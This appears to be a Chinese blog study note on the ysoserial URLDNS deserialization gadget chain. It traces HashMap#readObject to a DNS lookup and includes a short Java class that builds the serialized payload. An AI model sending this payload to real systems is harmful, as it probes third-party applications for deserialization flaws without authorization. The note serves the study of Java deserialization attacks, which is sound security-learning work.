URLDNS是ysoserial中的一个利用链, 这里学习的是P牛的简化版链子.


这条链子基于Java内置的类即可构造, 但是也仅仅可以用于触发DNSlog,所以比较适合用来探测反序列化漏洞是否存在.

URL Class

这条链的主角是URL Class和HashMap Class. 先看URL Class:
它的hashCode方法:
image.png
会调用URLStreamHandler.hashCode方法:
image.png
而URLStreamHandler#HashCode又调用了getHostAddress方法, 这个函数的功能就像它的名字显示的这样, 获取一个主机的IP地址, 也就是会进行一次DNS查询:
image.png

HashMap

那么现在就只需要一个Class的readObject方法可以调用URL#hashCode即可, 然后就要看一下在反序列化中非常常见的HashMap类:
在其readObject方法中有如下的一段代码:
image.png
hash(key) -> key.hashcode()
image.png

payload

调用链梳理:

  1. HashMap#readObject
  2. -> URL#hashCode
  3. -> URLStreamHandler#hashCode
  4. -> URLStreamHandler#getHostAddress
  5. -> InetAddress#getByName(url)
  1. package test.com;
  2. import java.io.IOException;
  3. import java.net.URL;
  4. import java.util.HashMap;
  5. public class UrlDnsChain {
  6. public static byte[] Payload(String url) throws IOException {
  7. HashMap map = new HashMap();
  8. URL u = new URL("", url, null);
  9. map.put(u,1);
  10. return Serializer.Serialize(map);
  11. }
  12. }

image.png

思考

  1. 为什么hashMap会调用key的hashCode?
  2. 为什么URL的hashCode会调用URLStreamHandler#getHostAddress?